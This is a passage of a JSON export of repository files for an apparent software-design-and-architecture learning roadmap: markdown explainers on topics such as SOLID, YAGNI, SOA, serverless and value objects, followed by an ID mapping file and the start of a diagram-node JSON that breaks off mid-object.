    "content": "# Scope Visibility\n\nScope visibility refers to the accessibility or visibility of variables, functions, and other elements in a program, depending on the context in which they are defined. In object-oriented programming (OOP), scope visibility is controlled through the use of access modifiers, such as \"public,\" \"private,\" and \"protected.\"\n\n*   Public: A public element can be accessed from anywhere in the program, both within the class and outside of it.\n*   Private: A private element can only be accessed within the class in which it is defined. It is not accessible to other classes, even if they inherit from the class.\n*   Protected: A protected element can only be accessed within the class and its subclasses.\n\nThere are variations of scope visibility based on the programming language, but these are the most common."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/scope-visibility@b-YIbw-r-nESVt_PUFQeq.md",
    "content": "# Scope Visibility\n\nScope visibility refers to the accessibility or visibility of variables, functions, and other elements in a program, depending on the context in which they are defined. In object-oriented programming (OOP), scope visibility is controlled through the use of access modifiers, such as \"public,\" \"private,\" and \"protected.\"\n\n- Public: A public element can be accessed from anywhere in the program, both within the class and outside of it.\n- Private: A private element can only be accessed within the class in which it is defined. It is not accessible to other classes, even if they inherit from the class.\n- Protected: A protected element can only be accessed within the class and its subclasses.\n\nThere are variations of scope visibility based on the programming language, but these are the most common.\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/serverless-architecture@5WSvAA3h3lmelL53UJSMy.md",
    "content": "# Serverless Architecture\n\nServerless architecture is a design pattern that allows developers to build and run applications and services without having to provision and manage servers. Instead, these applications and services are executed in a fully managed environment, such as AWS Lambda, Azure Functions, or Google Cloud Functions, where the infrastructure and scaling are handled automatically by the cloud provider.\n\nThis architecture pattern mainly focuses on the business logic and event-driven execution, rather than on server management. It allows developers to write and deploy code in small, single-purpose functions that are triggered by specific events, such as changes in a database or the arrival of new data in a stream.\n\nVisit the following resources to learn more:\n\n- [@article@Serverless Architecture Patterns in AWS](https://waswani.medium.com/serverless-architecture-patterns-in-aws-edeab0e46a32)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/soa@FysFru2FJN4d4gj11gv--.md",
    "content": "# SOA\n\nSOA (Service-Oriented Architecture) is an architectural pattern that is used to design and organize software systems as a collection of services that can be accessed over a network, these services are autonomous, self-contained units of functionality that can be reused and combined to create new functionality. SOA services are designed to be loosely coupled, meaning that they do not depend on the implementation details of other services, they communicate with each other through well-defined interfaces, usually using a protocol such as HTTP or SOAP. SOA provides several advantages over other architectural patterns, such as reusability, modularity, interoperability, and scalability. It can be implemented using a variety of technologies, such as Web Services, REST, and microservices.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Service-Oriented Architecture](https://medium.com/design-microservices-architecture-with-patterns/service-oriented-architecture-1e4716fbca17)\n- [@video@Tutorial - Service-Oriented Architecture -SOA](https://www.youtube.com/watch?v=jNiEMmoTDoE)\n- [@video@What is Service-Oriented Architecture](https://www.youtube.com/watch?v=_dFJOSR-aFs)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/software-design-principles@p96fNXv0Z4rEEXJR9hAYX.md",
    "content": "# Software Design Principles\n\nThere are many software design principles that aim to guide the development of software in a way that makes it easy to understand, maintain, and extend. Some of the most common design principles include:\n\n- SOLID principles (Single Responsibility Principle, Open/Closed Principle, Liskov Substitution Principle, Interface Segregation Principle, and Dependency Inversion Principle)\n- DRY (Don't Repeat Yourself)\n- YAGNI (You Ain't Gonna Need It)\n- KISS (Keep It Simple, Stupid)\n- LoD (Law of Demeter)\n- Composition over Inheritance\n- Encapsulate What Varies\n- Hollywood Principle\n- Program Against Abstractions\n\nBy following these design principles, software can be developed in a way that is easy to understand, maintain, and extend, and that is less prone to bugs.\n\nLearn more from the following resources:\n\n- [@video@Software Design Principles For Beginners](https://www.youtube.com/watch?v=60EqoRcanpo)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/solid@3XckqZA--knUb8IYKOeVy.md",
    "content": "# SOLID\n\nSOLID is an acronym that stands for five principles of object-oriented software development, which were first introduced by Robert C. Martin in the early 2000s. These principles are:\n\n*   Single Responsibility Principle (SRP)\n*   Open/Closed Principle (OCP)\n*   Liskov Substitution Principle (LSP)\n*   Interface Segregation Principle (ISP)\n*   Dependency Inversion Principle (DIP)\n\nVisit the following resources to learn more:\n\n- [@article@Get Started with SOLID](https://www.bmc.com/blogs/solid-design-principles/)\n- [@article@SOLID Principles](https://khalilstemmler.com/articles/tags/solid/)\n- [@video@Tutorial - What are SOLID principle?](https://www.youtube.com/watch?v=aUCo5cy32kE)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/structural@86Jw9kMBD7YP5nTV5jTz-.md",
    "content": "# Structural\n\nStructural architecture in software refers to the organization and design of the components of a software system, and how they interact with each other. It deals with the physical organization of the system, and the relationships between the different components.\n\nThere are several different structural architecture patterns and styles that can be used to design software systems, including:\n\n*   Monolithic: where the system is built as a single, integrated, and self-contained unit.\n*   Layered: where the system is divided into a set of layers, each of which has a specific responsibility and communicates with the other layers through well-defined interfaces.\n*   Microservices: where the system is built as a collection of small, independent, and loosely-coupled services.\n*   Event-driven: where the system reacts to specific events that occur, rather than being continuously polled for changes.\n*   Client-Server: where a client sends requests to a server, and the server responds to those requests\n*   Peer-to-Peer: where each node in the network acts as both a client and a server\n*   Component-based: where the system is composed of reusable and independent software components\n*   Domain-Driven: where the system is organized around the core business domain and business entities."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/structured-programming@VhSEH_RoWFt1z2lial7xZ.md",
    "content": "# Structured Programming\n\nStructured programming is a programming paradigm that emphasizes the use of well-structured control flow constructs such as loops, conditionals, and subroutines. It was developed in the 1960s and 1970s as a reaction to the \"spaghetti code\" produced by the widespread use of goto statements.\n\nVisit the following resources to learn more:\n\n- [@article@Structured Programming Wikipedia](https://en.wikipedia.org/wiki/Structured_programming)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/tell-dont-ask@0rGdh72HjqPZa2bCbY9Gz.md",
    "content": "# Tell, Don’t Ask\n\nThe Tell, Don’t Ask principle emphasizes that objects should be told what to do rather than being queried for their state and having decisions made externally. This promotes encapsulation and reduces coupling by keeping logic within the objects that own the data.\n\nKey Concepts\n------------\n\n*   Instead of pulling data out of objects to make decisions, push the behavior into the object itself.\n*   Objects should be responsible for their own logic and state management.\n\nAsking style (bad):\n\n    if (user.profile.isComplete()) {\n        // allow checkout\n    }\n    \n\nTelling style (good):\n\n    if (user.canCheckout()) {\n        // allow checkout\n    }\n\nVisit the following resources to learn more:\n\n- [@article@Tell, Don't Ask](https://martinfowler.com/bliki/TellDontAsk.html)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/tests-should-be-fast-and-independent@mzt7fvx6ab3tmG1R1NcLO.md",
    "content": "# Tests Should Be Fast and Independent\n\nFast and independent tests are a cornerstone of reliable and maintainable software. They enable developers to run tests frequently, get quick feedback, and trust the results. When tests are slow or tightly coupled to each other or external systems, they become a bottleneck and reduce confidence in the codebase.\n\nWell-designed tests focus on validating behavior in isolation and execute quickly enough to be run as part of everyday development.\n\nSome of the key principles of fast and independent tests include:\n\n*   Speed: Tests should execute quickly so they can be run frequently during development.\n*   Independence: Each test should run in isolation and not depend on the outcome or state of other tests.\n*   Determinism: Tests should produce the same result every time they are run.\n*   Isolation: External dependencies (databases, APIs, file systems, time) should be mocked or stubbed.\n*   Single Responsibility: Each test should verify one behavior or scenario.\n*   Easy Setup and Teardown: Tests should have minimal and clear setup logic.\n*   Reliability: Tests should fail only when the code under test is broken, not due to environment issues.\n*   Automation Friendly: Tests should be easy to run in CI/CD pipelines without special configuration.\n*   Maintainability: Tests should be easy to read, understand, and update as the code evolves.\n*   Feedback-Oriented: Test failures should provide clear and actionable feedback.\n\nFast and independent tests improve developer productivity, encourage refactoring, and act as living documentation for the system’s behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Unit Testing Best Practices](https://martinfowler.com/articles/practical-test-pyramid.html)\n- [@article@Test Pyramid Explained](https://martinfowler.com/bliki/TestPyramid.html)\n- [@article@Writing Reliable Tests](https://testing.googleblog.com/2014/05/testing-on-toilet-how-much.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/transaction-script@tyReIY4iO8kmyc_LPafp1.md",
    "content": "# Transaction Script\n\nTransaction Script is a pattern used in enterprise application development that organizes business logic into a single procedural script. It is often used for simple CRUD (create, read, update, delete) operations, where all of the logic for a specific transaction is contained in a single script or function. This pattern is simple to implement and easy to understand, but can become unwieldy as the complexity of the application increases. Alternative patterns such as Domain-Driven Design (DDD) and the Active Record pattern may be more appropriate for more complex applications.\n\nVisit the following resources to learn more:\n\n- [@article@Transaction Script Pattern](https://gunnarpeipman.com/transaction-script-pattern/)\n- [@video@Tutorial - Transaction Script Design Pattern](https://www.youtube.com/watch?v=fnsU9cqcY3I)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/use-cases@gQ7Xj8tsl6IlCcyJgSz46.md",
    "content": "# Use Cases\n\nUse Cases are a pattern used in enterprise application development to represent the functional requirements of a system. They describe the interactions between the system and its users, and the steps that are required to accomplish a specific goal. Use cases are a way to capture the requirements of the system in a way that is easily understood by both the development team and the stakeholders.\n\nA use case is a description of a sequence of actions that a system performs in response to a request from a user, in order to achieve a specific goal. A use case typically includes:\n\n- The actor (user) who initiates the action\n- The goal that the actor wants to achieve\n- The steps required to achieve the goal, including any alternative paths or error conditions\n- The expected outcome of the interaction\n\nUse cases are often used to drive the design and development of the system, as they provide a clear and detailed understanding of the requirements.\n\nLearn more from the following links:\n\n- [@article@Use Case Patterns](https://caminao.blog/how-to-implement-symbolic-representations/patterns/functional-patterns/use-case-patterns/)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/use-correct-constructs@S1m7ty7Qrzu1rr4Jl-WgM.md",
    "content": "# Use Correct Constructs\n\nIn the context of clean code principles, \"using correct constructs\" refers to using appropriate programming constructs, such as loops, conditionals, and functions, in a way that makes the code easy to understand, maintain, and modify.\n\nWhen using correct constructs, the code should be organized in a logical and intuitive way, making use of appropriate control flow statements and data structures to accomplish the task at hand. This also means that the code should avoid using unnecessary or overly complex constructs that make the code harder to understand or reason about.\n\nAdditionally, correct constructs also means to use the right constructs for the right problem, for example, if you want to iterate over an array, use a for loop instead of recursion and also, you should avoid using global variables and instead use function arguments and return values to pass data between different parts of the code.\n\nBy using correct constructs, the code will be more readable, more maintainable, and less prone to bugs, making it easier for other developers to understand, debug and extend the code."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/use-meaningful-names@JKK6bli3P_cqJ128wPnot.md",
    "content": "# Use Meaningful Names\n\nUsing meaningful names is important for making the code clear, readable, and easy to understand. Meaningful names can help to convey the intent and function of variables, functions, classes, and other elements of the code.\n\nHere are some ways to use meaningful names in system architecture:\n\n- Use descriptive and meaningful names for variables, functions, classes, and other elements of the code.\n- Use consistent naming conventions throughout the codebase, such as camelCase for variables and PascalCase for functions and classes.\n- Use abbreviations and acronyms sparingly and only if they are widely understood.\n- Use meaningful prefixes or suffixes to indicate the type or purpose of a variable or function, such as \"is\" or \"get\" for boolean variables or \"list\" for array variables\n- Avoid using single letter variable names or generic names, such as \"temp\" or \"x\" that do not convey any meaning.\n- Avoid using overly long or complex names that make the code harder to read.\n\nLearn more from the following links:\n\n- [@article@How to Write Meaningful Variable Names?](https://workat.tech/machine-coding/tutorial/writing-meaningful-variable-names-clean-code-za4m83tiesy0)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/usecases@gQ7Xj8tsl6IlCcyJgSz46.md",
    "content": "# Use Cases\n\nUse Cases are a pattern used in enterprise application development to represent the functional requirements of a system. They describe the interactions between the system and its users, and the steps that are required to accomplish a specific goal. Use cases are a way to capture the requirements of the system in a way that is easily understood by both the development team and the stakeholders.\n\nA use case is a description of a sequence of actions that a system performs in response to a request from a user, in order to achieve a specific goal. A use case typically includes:\n\n*   The actor (user) who initiates the action\n*   The goal that the actor wants to achieve\n*   The steps required to achieve the goal, including any alternative paths or error conditions\n*   The expected outcome of the interaction\n\nUse cases are often used to drive the design and development of the system, as they provide a clear and detailed understanding of the requirements.\n\nVisit the following resources to learn more:\n\n- [@article@Use Case Patterns](https://caminao.blog/how-to-implement-symbolic-representations/patterns/functional-patterns/use-case-patterns/)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/value-objects@Ks6njbfxOHiZ_TrJDnVtk.md",
    "content": "# Value Objects\n\nValue Objects are a pattern used in enterprise application development to represent simple, immutable values that are used to model domain concepts. They are typically used to encapsulate data that is not an entity, but is important to the domain.\n\nA Value Object is defined by its value rather than its identity, meaning that two Value Objects with the same value are considered to be equal, regardless of their identity.\n\nVisit the following resources to learn more:\n\n- [@article@Overview - Implement Value Objects](https://learn.microsoft.com/en-us/dotnet/architecture/microservices/microservice-ddd-cqrs-patterns/implement-value-objects)\n- [@article@Intro to Value object](https://en.wikipedia.org/wiki/Value_object)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/yagni@eEO-WeNIyjErBE53n8JsD.md",
    "content": "# YAGNI\n\nYAGNI (You Ain't Gonna Need It) is a software development principle that suggests that developers should not add functionality to a codebase unless it is immediately necessary. The idea is to avoid creating unnecessary complexity in the codebase by only adding features that are actually needed.\n\nThe YAGNI principle is closely related to the Single Responsibility Principle (SRP) and the Open-Closed Principle (OCP), which are part of the SOLID principles. YAGNI aims to keep the codebase as simple as possible by avoiding the creation of unnecessary abstractions and functionality.\n\nVisit the following resources to learn more:\n\n- [@article@YAGNI (You Aren't Gonna Need It) Principle Helps in Efficiency](https://builtin.com/software-engineering-perspectives/yagni)\n- [@video@What is YAGNI coding rule, and Why it helps?](https://www.youtube.com/watch?v=2vys1q1dKc4)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/migration-mapping.json",
    "content": "{\n  \"clean-code-principles\": \"TJZgsxpfOmltUUChMzlEM\",\n  \"programming-paradigms\": \"RgYq3YOJhPGSf5in1Rcdp\",\n  \"object-oriented-programming\": \"qZQDOe2MHBh8wNcmvkLQm\",\n  \"software-design-principles\": \"p96fNXv0Z4rEEXJR9hAYX\",\n  \"design-patterns\": \"gyQw885dvupmkohzJPg3a\",\n  \"architectural-principles\": \"XBCxWdpvQyK2iIG2eEA1K\",\n  \"architectural-styles\": \"En_hvwRvY6k_itsNCQBYE\",\n  \"architectural-patterns\": \"jq916t7svaMw5sFOcqZSi\",\n  \"enterprise-patterns\": \"WrzsvLgo7cf2KjvJhtJEC\",\n  \"clean-code-principles:be-consistent\": \"2SOZvuEcy8Cy8ymN7x4L-\",\n  \"clean-code-principles:meaningful-names\": \"6Cd1BbGsmPJs_5jKhumyV\",\n  \"clean-code-principles:indentation-and-code-style\": \"81WOL1nxb56ZbAOvxJ7NK\",\n  \"clean-code-principles:keep-it-small\": \"XEwC6Fyf2DNNHQsoGTrQj\",\n  \"clean-code-principles:pure-functions\": \"5S5A5wCJUCNPLlHJ5fRjU\",\n  \"clean-code-principles:minimize-cyclomatic-complexity\": \"qZzl0hAD2LkShsPql1IlZ\",\n  \"clean-code-principles:avoid-passing-nulls-booleans\": \"yyKvmutbxu3iVHTuqr5q4\",\n  \"clean-code-principles:keep-framework-code-distant\": \"OoCCy-3W5y7bUcKz_iyBw\",\n  \"clean-code-principles:use-correct-constructs\": \"S1m7ty7Qrzu1rr4Jl-WgM\",\n  \"clean-code-principles:keep-tests-independent\": \"mzt7fvx6ab3tmG1R1NcLO\",\n  \"clean-code-principles:use-meaningful-names\": \"JKK6bli3P_cqJ128wPnot\",\n  \"clean-code-principles:code-by-actor\": \"kp86Vc3uue3IxTN9B9p59\",\n  \"clean-code-principles:command-query-separation\": \"tLbckKmfVxgn59j_dlh8b\",\n  \"clean-code-principles:avoid-hasty-abstractions\": \"9naCfoHF1LW1OEsVZGi8v\",\n  \"programming-paradigms:functional-programming\": \"YswaOqZNYcmDwly2IXrTT\",\n  \"programming-paradigms:object-oriented-programming\": \"VZrERRRYhmqDx4slnZtdc\",\n  \"object-oriented-programming:model-driven-design\": \"0VO_-1g-TS29y0Ji2yCjc\",\n  \"object-oriented-programming:model-driven-design:domain-models\": \"I25ghe8xYWpZ-9pRcHfOh\",\n  \"object-oriented-programming:model-driven-design:anemic-models\": \"nVaoI4IDPVEsdtFcjGNRw\",\n  \"object-oriented-programming:model-driven-design:layered-architectures\": \"HN160YgryBBtVGjnWxNie\",\n  \"object-oriented-programming:model-driven-design:domain-language\": \"kWNQd3paQrhMHMJzM35w8\",\n  \"object-oriented-programming:model-driven-design:class-invariants\": \"c6n-wOHylTbzpxqgoXtdw\",\n  \"object-oriented-programming:paradigm-features:abstract-classes\": \"RMkEE7c0jdVFqZ4fmjL6Y\",\n  \"object-oriented-programming:paradigm-features:concrete-classes\": \"hd6GJ-H4p9I4aaiRTni57\",\n  \"object-oriented-programming:paradigm-features:scope-visibility\": \"b-YIbw-r-nESVt_PUFQeq\",\n  \"object-oriented-programming:paradigm-features:interfaces\": \"SrcPhS4F7aT80qNjbv54f\",\n  \"object-oriented-programming:primary-principles:inheritance\": \"Dj36yLBShoazj7SAw6a_A\",\n  \"object-oriented-programming:primary-principles:polymorphism\": \"4DVW4teisMz8-58XttMGt\",\n  \"object-oriented-programming:primary-principles:abstraction\": \"VA8FMrhF4non9x-J3urY8\",\n  \"object-oriented-programming:primary-principles:encapsulation\": \"GJxfVjhiLuuc36hatx9dP\",\n  \"software-design-principles:composition-over-inheritance\": \"Izno7xX7wDvwPEg7f_d1Y\",\n  \"software-design-principles:encapsulate-what-varies\": \"DlefJ9JuJ1LdQYC4WSx6y\",\n  \"software-design-principles:program-against-abstractions\": \"UZeY36dABmULhsHPhlzn_\",\n  \"software-design-principles:hollywood-principle\": \"WzUhKlmFB9alTlAyV-MWJ\",\n  \"software-design-principles:solid\": \"3XckqZA--knUb8IYKOeVy\",\n  \"software-design-principles:dry\": \"ltBnVWZ3UMAuUvDkU6o4P\",\n  \"software-design-principles:yagni\": \"eEO-WeNIyjErBE53n8JsD\",\n  \"design-patterns:gof-design-patterns\": \"hlHl00ELlK9YdnzHDGnEW\",\n  \"design-patterns:posa-patterns\": \"6VoDGFOPHj5p_gvaZ8kTt\",\n  \"architectural-principles:component-principles\": \"8Bm0sRhUg6wZtnvtTmpgY\",\n  \"architectural-principles:policy-vs-detail\": \"b_PvjjL2ZpEKETa5_bd0v\",\n  \"architectural-principles:coupling-and-cohesion\": \"TXus3R5vVQDBeBag6B5qs\",\n  \"architectural-principles:boundaries\": \"-Kw8hJhgQH2qInUFj2TUe\",\n  \"architectural-styles:messaging\": \"j9j45Auf60kIskyEMUGE3\",\n  \"architectural-styles:distributed\": \"3V74lLPlcOXFB-QRTUA5j\",\n  \"architectural-styles:messaging:event-driven\": \"KtzcJBb6-EcIoXnwYvE7a\",\n  \"architectural-styles:messaging:publish-subscribe\": \"SX4vOVJY9slOXGwX_q1au\",\n  \"architectural-styles:distributed:client-server\": \"ZGIMUaNfBwE5b6O1yexSz\",\n  \"architectural-styles:distributed:peer-to-peer\": \"Cf9Z2wxBcbnNg_q9PA6xA\",\n  \"architectural-styles:structural\": \"86Jw9kMBD7YP5nTV5jTz-\",\n  \"architectural-styles:structural:component-based\": \"a0geFJWl-vi3mYytTjYdb\",\n  \"architectural-styles:structural:monolithic\": \"xYPR_X1KhBwdpqYzNJiuT\",\n  \"architectural-styles:structural:layered\": \"IELEJcKYdZ6VN-UIq-Wln\",\n  \"architectural-patterns:soa\": \"FysFru2FJN4d4gj11gv--\",\n  \"architectural-patterns:cqrs\": \"IU86cGkLPMXUJKvTBywPu\",\n  \"architectural-patterns:domain-driven-design\": \"CD20zA6k9FxUpMgHnNYRJ\",\n  \"architectural-patterns:model-view-controller\": \"-arChRC9zG2DBmuSTHW0J\",\n  \"architectural-patterns:microservices\": \"eJsCCURZAURCKnOK-XeQe\",\n  \"architectural-patterns:blackboard-pattern\": \"Kk7u2B67Fdg2sU8E_PGqr\",\n  \"architectural-patterns:microkernel\": \"r-Yeca-gpdFM8iq7f0lYQ\",\n  \"architectural-patterns:serverless-architecture\": \"5WSvAA3h3lmelL53UJSMy\",\n  \"architectural-patterns:message-queues-streams\": \"GAs6NHBkUgxan3hyPvVs7\",\n  \"architectural-patterns:event-sourcing\": \"K8X_-bsiy7gboInPzbiEb\",\n  \"enterprise-patterns:dtos\": \"y_Qj7KITSB8aUWHwiZ2It\",\n  \"enterprise-patterns:identity-maps\": \"tb0X1HtuiGwz7YhQ5xPsV\",\n  \"enterprise-patterns:use-cases\": \"gQ7Xj8tsl6IlCcyJgSz46\",\n  \"enterprise-patterns:repositories\": \"8y0ot5sbplUIUyXe9gvc8\",\n  \"enterprise-patterns:mappers\": \"ndUTgl2YBzOdu1MQKJocu\",\n  \"enterprise-patterns:transaction-script\": \"tyReIY4iO8kmyc_LPafp1\",\n  \"enterprise-patterns:commands-queries\": \"j_SUD3SxpKYZstN9LSP82\",\n  \"enterprise-patterns:value-objects\": \"Ks6njbfxOHiZ_TrJDnVtk\",\n  \"enterprise-patterns:domain-models\": \"NpSfbzYtGebmfrifkKsUf\",\n  \"enterprise-patterns:entities\": \"VnW_7dl5G0IFL9W3YF_W3\",\n  \"enterprise-patterns:orms\": \"SYYulHfDceIyDkDT5fcqj\",\n  \"programming-paradigms:structured-programming\": \"VhSEH_RoWFt1z2lial7xZ\"\n}"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/software-design-architecture.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"P72dYqoD4ySm0uRaUOJ5v\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -182.82822136329878,\n        \"y\": 1487.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 93\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -182.82822136329878,\n        \"y\": 1487.9007482223487\n      }\n    },\n    {\n      \"id\": \"qA_Y7AgD-Z6is-1hqOqzH\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -408.6381872719935,\n        \"y\": 1568.1208448974862\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -408.6381872719935,\n        \"y\": 1568.1208448974862\n      }\n    },\n    {\n      \"id\": \"3DjhvOMcTs6HwQkmnJyqS\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 240.3618127280065,\n        \"y\": 1487.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 66\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 240.3618127280065,\n        \"y\": 1487.9007482223487\n      }\n    },\n    {\n      \"id\": \"6Bx4SL1VB3tkS38lGpiaQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 141.3618127280065,\n        \"y\": 1058.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 520\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.3618127280065,\n        \"y\": 1058.7051467174065\n      }\n    },\n    {\n      \"id\": \"VbFXAyIhGjJtHs_L0bXk3\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 235.3618127280065,\n        \"y\": 1045.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"3DjhvOMcTs6HwQkmnJyqS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 94\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 235.3618127280065,\n        \"y\": 1045.9007482223487\n      }\n    },\n    {\n      \"id\": \"efjRPzVNm00Fe6CC3LT1N\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -168.6381872719935,\n        \"y\": 1051.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 76\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -168.6381872719935,\n        \"y\": 1051.7051467174065\n      }\n    },\n    {\n      \"id\": \"SgOLJllVsYIWZZmHzJUK7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -168.6381872719935,\n        \"y\": 691.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 352\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -168.6381872719935,\n        \"y\": 691.400748222349\n      }\n    },\n    {\n      \"id\": \"-yVW4ejTnj5vN8y0s_qTa\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -92.1381872719935,\n        \"y\": 955.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 86\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.1381872719935,\n        \"y\": 955.9007482223487\n      }\n    },\n    {\n      \"id\": \"UJ14WYeOlnd8vkKhwqTjP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -252.1381872719935,\n        \"y\": 955.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"-yVW4ejTnj5vN8y0s_qTa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 90\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -252.1381872719935,\n        \"y\": 955.9007482223487\n      }\n    },\n    {\n      \"id\": \"sqpYr4D6lzaJsphbPVfit\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -413.1381872719935,\n        \"y\": 680.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": 